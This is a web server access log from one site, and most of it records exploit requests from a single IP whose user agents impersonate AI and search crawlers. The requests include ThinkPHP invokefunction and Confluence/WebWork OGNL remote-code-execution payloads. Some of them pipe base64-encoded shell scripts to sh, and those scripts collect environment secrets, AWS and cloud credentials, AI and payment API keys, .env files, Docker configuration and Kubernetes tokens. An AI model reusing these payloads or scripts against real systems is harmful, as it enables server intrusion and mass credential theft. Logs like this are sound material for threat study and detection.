"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 34.74.70.246 - - [10/Sep/2026:03:49:49 -0700] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20GSCAN_TP HTTP/1.1" 200 12167 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot)" 34.74.70.246 - - [10/Sep/2026:03:49:49 -0700] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo+ZWNobyBHU0NBTl9CRUdJTjsgZWNobyAiPT09aWQ9PT0iO2lkO2VjaG8gIj09PWhvc3Q9PT0iO2hvc3RuYW1lO2VjaG8gIj09PXB3ZD09PSI7cHdkO2VjaG8gIj09PXdob2FtaT09PSI7d2hvYW1pIDI%2BL2Rldi9udWxsO2VjaG8gIj09PXByaW50ZW52PT09IjtwcmludGVudiAyPi9kZXYvbnVsbHxoZWFkIC1uIDIwMDtlY2hvICI9PT1lbnZfc2VjcmV0cz09PSI7ZW52IDI%2BL2Rldi9udWxsfGdyZXAgLWlFICJBV1N8QUtJQXxBU0lBfFNFQ1JFVHxUT0tFTnxQQVNTV09SRHxBUElbXy1dP0tFWXxQUklWQVRFfE9QRU5BSXxBTlRIUk9QSUN8Q0xBVURFfEdFTUlOSXxHT09HTEV8R0NQfEFaVVJFfERBVEFCQVNFfFBPU1RHUkVTfE1ZU1FMfE1PTkdPfFJFRElTfFNUUklQRXxHSVRIVUJ8U0xBQ0t8VFdJTElPfFNFTkRHUklEfEpXVHxBVVRIfENSRURFTlRJQUx8QUNDRVNTX0tFWXxCRUFSRVJ8V0VCSE9PS3xEU058Q09OTkVDVElPTnxCT1RfVE9LRU58U01UUCIgfGhlYWQgLW4gMTUwO2VjaG8gIj09PWF3c19lbnY9PT0iO2VudiAyPi9kZXYvbnVsbHxncmVwIC1pIEFXU3xoZWFkIC1uIDgwO2VjaG8gIj09PWF3c19lY2hvPT09IjtlY2hvIEFXU19BQ0NFU1NfS0VZX0lEPSRBV1NfQUNDRVNTX0tFWV9JRDtlY2hvIEFXU19TRUNSRVRfQUNDRVNTX0tFWT0kQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZO2VjaG8gQVdTX1NFU1NJT05fVE9LRU49JEFXU19TRVNTSU9OX1RPS0VOO2VjaG8gQVdTX0RFRkFVTFRfUkVHSU9OPSRBV1NfREVGQVVMVF9SRUdJT047ZWNobyBBV1NfUkVHSU9OPSRBV1NfUkVHSU9OO2VjaG8gQVdTX0JFQVJFUl9UT0tFTl9CRURST0NLPSRBV1NfQkVBUkVSX1RPS0VOX0JFRFJPQ0s7ZWNobyAiPT09YXdzX2NyZWRlbnRpYWxzPT09Ijtmb3IgZiBpbiAiJEhPTUUvLmF3cy9jcmVkZW50aWFscyIgL3Jvb3QvLmF3cy9jcmVkZW50aWFscyAvLmF3cy9jcmVkZW50aWFscyAvaG9tZS8qLy5hd3MvY3JlZGVudGlhbHM7ZG8gWyAtZiAiJGYiIF0mJmVjaG8gIiMgJGYiJiZjYXQgIiRmIjtkb25lO2VjaG8gIj09PWF3c19jb25maWc9PT0iO2ZvciBmIGluICIkSE9NRS8uYXdzL2NvbmZpZyIgL3Jvb3QvLmF3cy9jb25maWcgLy5hd3MvY29uZmlnIC9ob21lLyovLmF3cy9jb25maWc7ZG8gWyAtZiAiJGYiIF0mJmVjaG8gIiMgJGYiJiZjYXQgIiRmIjtkb25lO2VjaG8gIj09PWFpX2VjaG89PT0iO2VjaG8gT1BFTkFJX0FQSV9LRVk9JE9QRU5BSV9BUElfS0VZO2VjaG8gQU5USFJPUElDX0FQSV9LRVk9JEFOVEhST1BJQ19BUElfS0VZO2VjaG8gR09PR0xFX0FQSV9LRVk9JEdPT0dMRV9BUElfS0VZO2VjaG8gR0VNSU5JX0FQSV9LRVk9JEdFTUlOSV9BUElfS0VZO2VjaG8gT1BFTlJPVVRFUl9BUElfS0VZPSRPUEVOUk9VVEVSX0FQSV9LRVk7ZWNobyBERUVQU0VFS19BUElfS0VZPSRERUVQU0VFS19BUElfS0VZO2VjaG8gU1RSSVBFX1NFQ1JFVF9LRVk9JFNUUklQRV9TRUNSRVRfS0VZO2VjaG8gU1RSSVBFX0FQSV9LRVk9JFNUUklQRV9BUElfS0VZO2VjaG8gR0lUSFVCX1RPS0VOPSRHSVRIVUJfVE9LRU47ZWNobyBHSF9UT0tFTj0kR0hfVE9LRU47ZWNobyAiPT09Y2xvdWRfZWNobz09PSI7ZWNobyBHT09HTEVfQVBQTElDQVRJT05fQ1JFREVOVElBTFM9JEdPT0dMRV9BUFBMSUNBVElPTl9DUkVERU5USUFMUztlY2hvIEdDTE9VRF9QUk9KRUNUPSRHQ0xPVURfUFJPSkVDVDtlY2hvIEdPT0dMRV9DTE9VRF9QUk9KRUNUPSRHT09HTEVfQ0xPVURfUFJPSkVDVDtlY2hvIEFaVVJFX0NMSUVOVF9JRD0kQVpVUkVfQ0xJRU5UX0lEO2VjaG8gQVpVUkVfQ0xJRU5UX1NFQ1JFVD0kQVpVUkVfQ0xJRU5UX1NFQ1JFVDtlY2hvIEFaVVJFX1RFTkFOVF9JRD0kQVpVUkVfVEVOQU5UX0lEO2VjaG8gIj09PWRiX2Vudj09PSI7cHJpbnRlbnYgMj4vZGV2L251bGx8Z3JlcCAtaUUgIl4oUE9TVEdSRVN8UEd8REFUQUJBU0V8REJffE1ZU1FMfFJFRElTfE1PTkdPfFNRTEFMQ0hFTVl8SkRCQ3xEQVRBQkFTRV9VUkx8UkVESVNfVVJMfE1PTkdPX1VSTHxNT05HT0RCX1VSSSk9InxoZWFkIC1uIDYwO2VjaG8gIj09PWRvY2tlcmVudj09PSI7WyAtZiAvLmRvY2tlcmVudiBdJiZlY2hvIERPQ0tFUj0xfHxlY2hvIERPQ0tFUj0wO2VjaG8gIj09PWNncm91cD09PSI7aGVhZCAtbiA1IC9wcm9jLzEvY2dyb3VwIDI%2BL2Rldi9udWxsO2VjaG8gIj09PXByb2Nfc2VsZl9lbnY9PT0iO3RyIFxcMCBcXG4gPC9wcm9jL3NlbGYvZW52aXJvbiAyPi9kZXYvbnVsbHxoZWFkIC1uIDE1MDtlY2hvICI9PT1wcm9jMWVudj09PSI7dHIgXFwwIFxcbiA8L3Byb2MvMS9lbnZpcm9uIDI%2BL2Rldi9udWxsfGhlYWQgLW4gMTAwO2VjaG8gIj09PWRvdGVudj09PSI7Zm9yIGYgaW4gLmVudiAuZW52LmxvY2FsIC5lbnYucHJvZHVjdGlvbiAuZW52LmRldmVsb3BtZW50IC5lbnYuc3RhZ2luZyAuZW52LnByb2QgLmVudi5kZXYgLmVudi5kZXZlbG9wbWVudC5sb2NhbCAuZW52LnByb2R1Y3Rpb24ubG9jYWwgYXBwLy5lbnYgL2FwcC8uZW52IC92YXIvd3d3Ly5lbnYgL3Zhci93d3cvaHRtbC8uZW52IGJhY2tlbmQvLmVudiBhcGkvLmVudiBzZXJ2ZXIvLmVudiBjb25maWcvLmVudjtkbyBbIC1mICIkZiIgXSYmZWNobyAiIyAkZiImJmhlYWQgLW4gODAgIiRmIjtkb25lO2VjaG8gIj09PWNvbXBvc2U9PT0iO2ZvciBmIGluIGRvY2tlci1jb21wb3NlLnltbCBkb2NrZXItY29tcG9zZS55YW1sIGNvbXBvc2UueW1sIGNvbXBvc2UueWFtbCAvYXBwL2RvY2tlci1jb21wb3NlLnltbCAvYXBwL2NvbXBvc2UueW1sO2RvIFsgLWYgIiRmIiBdJiZlY2hvICIjICRmIiYmaGVhZCAtbiA4MCAiJGYiO2RvbmU7ZWNobyAiPT09ZG9ja2VyX2NvbmZpZz09PSI7Zm9yIGYgaW4gIiRIT01FLy5kb2NrZXIvY29uZmlnLmpzb24iIC9yb290Ly5kb2NrZXIvY29uZmlnLmpzb247ZG8gWyAtZiAiJGYiIF0mJmVjaG8gIiMgJGYiJiZoZWFkIC1jIDMwMDAgIiRmIjtlY2hvO2RvbmU7ZWNobyAiPT09ZG9ja2VyX3BzPT09Ijtkb2NrZXIgcHMgLS1mb3JtYXQgInt7LklEfX0ge3suTmFtZXN9fSB7ey5JbWFnZX19IHt7LlN0YXR1c319IiAyPi9kZXYvbnVsbHxoZWFkIC1uIDQwO2VjaG8gIj09PWRvY2tlcl9jb3VudD09PSI7ZWNobyAtbiAicnVubmluZz0iO2RvY2tlciBwcyAtcSAyPi9kZXYvbnVsbHx3YyAtbHx0ciAtZCAiICI7ZWNobyAtbiAiIGFsbD0iO2RvY2tlciBwcyAtYXEgMj4vZGV2L251bGx8d2MgLWx8dHIgLWQgIiAiO2VjaG87ZWNobyAiPT09ZG9ja2VyX2RiPT09Ijtkb2NrZXIgcHMgLS1mb3JtYXQgInt7Lk5hbWVzfX0ge3suSW1hZ2V9fSB7ey5Qb3J0c319IiAyPi9kZXYvbnVsbHxncmVwIC1pRSAicG9zdGdyZXN8bXlzcWx8bW9uZ298cmVkaXN8bWFyaWFkYnxwZ3ZlY3RvcnxzdXBhYmFzZSIgfGhlYWQgLW4gMjA7ZWNobyAiPT09ZG9ja2VyX3NlbGY9PT0iO0NJRD0kKGNhdCAvcHJvYy9zZWxmL2Nncm91cCAyPi9kZXYvbnVsbHxzZWQgLW4gInN8LiovXChbMC05YS1mXVx7MTIsXH1cKS4qfFwxfHAifGhlYWQgLTEpO1sgLW4gIiRDSUQiIF0mJmRvY2tlciBpbnNwZWN0IC0tZm9ybWF0ICJuYW1lPXt7Lk5hbWV9fSBpbWFnZT17ey5Db25maWcuSW1hZ2V9fSBlbnY9e3tqc29uIC5Db25maWcuRW52fX0iICIkQ0lEIiAyPi9kZXYvbnVsbHxoZWFkIC1jIDQwMDA7ZWNobztlY2hvICI9PT1kb2NrZXJfc29jaz09PSI7WyAtUyAvdmFyL3J1bi9kb2NrZXIuc29jayBdJiZlY2hvIFNPQ0s9MXx8ZWNobyBTT0NLPTA7ZWNobyAiPT09azhzPT09Ijtmb3IgZiBpbiAvdmFyL3J1bi9zZWNyZXRzL2t1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvdG9rZW4gL3Zhci9ydW4vc2VjcmV0cy9rdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L25hbWVzcGFjZSAvcnVuL3NlY3JldHMva3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC90b2tlbiAvcnVuL3NlY3JldHMva3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2U7ZG8gWyAtZiAiJGYiIF0mJmVjaG8gIiMgJGYiJiZoZWFkIC1jIDIwMDAgIiRmIjtlY2hvO2RvbmU7ZWNobyAiPT09c2VjcmV0X2ZpbGVzPT09Ijtmb3IgZiBpbiAiJEhPTUUvLm5wbXJjIiAvcm9vdC8ubnBtcmMgIiRIT01FLy5uZXRyYyIgL3Jvb3QvLm5ldHJjICIkSE9NRS8uZ2l0LWNyZWRlbnRpYWxzIiAvcm9vdC8uZ2l0LWNyZWRlbnRpYWxzICIkSE9NRS8ua3ViZS9jb25maWciIC9yb290Ly5rdWJlL2NvbmZpZyAiJEhPTUUvLmNvbmZpZy9nY2xvdWQvYXBwbGljYXRpb25fZGVmYXVsdF9jcmVkZW50aWFscy5qc29uIiAvcm9vdC8uY29uZmlnL2djbG91ZC9hcHBsaWNhdGlvbl9kZWZhdWx0X2NyZWRlbnRpYWxzLmpzb247ZG8gWyAtZiAiJGYiIF0mJmVjaG8gIiMgJGYiJiZoZWFkIC1jIDI1MDAgIiRmIjtlY2hvO2RvbmU7ZWNobyAiPT09cnVuX3NlY3JldHM9PT0iO2xzIC1sYSAvcnVuL3NlY3JldHMgMj4vZGV2L251bGx8aGVhZCAtbiAzMDtmb3IgZiBpbiAvcnVuL3NlY3JldHMvKiAvYXBwL3NlY3JldHMvKiAvdmFyL3NlY3JldHMvKjtkbyBbIC1mICIkZiIgXSYmZWNobyAiIyAkZiImJmhlYWQgLWMgMTUwMCAiJGYiO2VjaG87ZG9uZTtlY2hvICI9PT1wZ19wb3J0PT09Ijsoc3MgLWxudCAyPi9kZXYvbnVsbHx8bmV0c3RhdCAtbG50IDI%2BL2Rldi9udWxsKXxncmVwIC1FICJbOi5dNTQzMltbOnNwYWNlOl1dIiB8aGVhZCAtbiA1fHx0cnVlO2VjaG8gIj09PXBnX2ZpbGVzPT09IjtscyAvdmFyL2xpYi9wb3N0Z3Jlc3FsIDI%2BL2Rldi9udWxsfGhlYWQgLW4gNTtscyAvdmFyL3J1bi9wb3N0Z3Jlc3FsIDI%2BL2Rldi9udWxsfGhlYWQgLW4gNTsgZWNobyBHU0NBTl9FTkQ%3D%7Cbase64+-d%7Csh HTTP/1.1" 200 15047 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot) Chrome/122.0.4001.229 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:49 -0700] "POST / HTTP/1.1" 200 12074 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.74.70.246 - - [10/Sep/2026:03:49:49 -0700] "GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22echo%20GSCAN_CF%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1" 200 12269 "-" "Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 34.74.70.246 - - [10/Sep/2026:03:49:49 -0700] "GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28new+java.lang.String%5B%5D%7B%22/bin/sh%22%2C%22-c%22%2C%22echo+ZWNobyBHU0NBTl9CRUdJTjsgcHJpbnRlbnYgMj4vZGV2L251bGx8aGVhZCAtbiAyMDA7ZW52IDI%2BL2Rldi9udWxsfGdyZXAgLWlFICJBV1N8U0VDUkVUfFRPS0VOfFBBU1NXT1JEfEFQSXxLRVl8T1BFTkFJfEFOVEhST1BJQ3xTVFJJUEV8R0lUSFVCfERBVEFCQVNFfFJFRElTfE1PTkdPfE1ZU1FMfFBPU1RHUkVTfEJFQVJFUnxQUklWQVRFIiB8aGVhZCAtbiA4MDtlY2hvIEFXU19BQ0NFU1NfS0VZX0lEPSRBV1NfQUNDRVNTX0tFWV9JRDtlY2hvIEFXU19TRUNSRVRfQUNDRVNTX0tFWT0kQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZO2VjaG8gQVdTX1NFU1NJT05fVE9LRU49JEFXU19TRVNTSU9OX1RPS0VOO2VjaG8gT1BFTkFJX0FQSV9LRVk9JE9QRU5BSV9BUElfS0VZO2VjaG8gQU5USFJPUElDX0FQSV9LRVk9JEFOVEhST1BJQ19BUElfS0VZO2VjaG8gU1RSSVBFX1NFQ1JFVF9LRVk9JFNUUklQRV9TRUNSRVRfS0VZO2VjaG8gREFUQUJBU0VfVVJMPSREQVRBQkFTRV9VUkw7Zm9yIGYgaW4gLmVudiAuZW52LmxvY2FsIC5lbnYucHJvZHVjdGlvbiAvYXBwLy5lbnYgYXBwLy5lbnY7ZG8gWyAtZiAiJGYiIF0mJmVjaG8gIiMgJGYiJiZoZWFkIC1uIDQwICIkZiI7ZG9uZTtmb3IgZiBpbiAiJEhPTUUvLmF3cy9jcmVkZW50aWFscyIgL3Jvb3QvLmF3cy9jcmVkZW50aWFscztkbyBbIC1mICIkZiIgXSYmZWNobyAiIyAkZiImJmNhdCAiJGYiO2RvbmU7dHIgXFwwIFxcbiA8L3Byb2Mvc2VsZi9lbnZpcm9uIDI%2BL2Rldi9udWxsfGhlYWQgLW4gODA7IGVjaG8gR1NDQU5fRU5E%7Cbase64+-d%7Csh%22%7D%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1" 200 12998 "-" "Mozilla/5.0 (compatible; LinkedInBot/1.0; +http://www.linkedin.com)" 34.74.70.246 - - [10/Sep/2026:03:49:49 -0700] "POST /geoserver/wfs HTTP/1.1" 200 12088 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; TelegramBot/1.0" 20.235.109.206 - - [10/Sep/2026:04:14:29 -0700] "GET / HTTP/1.1" 301 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 143.110.234.15 - - [10/Sep/2026:04:33:33 -0700] "GET / HTTP/1.1" 503 - "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 143.110.234.15 - - [10/Sep/2026:04:33:34 -0700] "GET /favicon.ico HTTP/1.1" 503 - "https://cpcalendars.guardianjetcenter.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 20.235.109.206 - - [10/Sep/2026:04:34:14 -0700] "GET / HTTP/1.1" 503 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 74.7.241.7 - - [10/Sep/2026:04:43:58 -0700] "GET / HTTP/1.1" 301 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 74.7.230.28 - - [10/Sep/2026:04:43:58 -0700] "GET /robots.txt HTTP/1.1" 200 122 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot"
/home/welbornwebsites/./access-logs/guardianjetcenter.com.welbornwebsites.com-ssl_log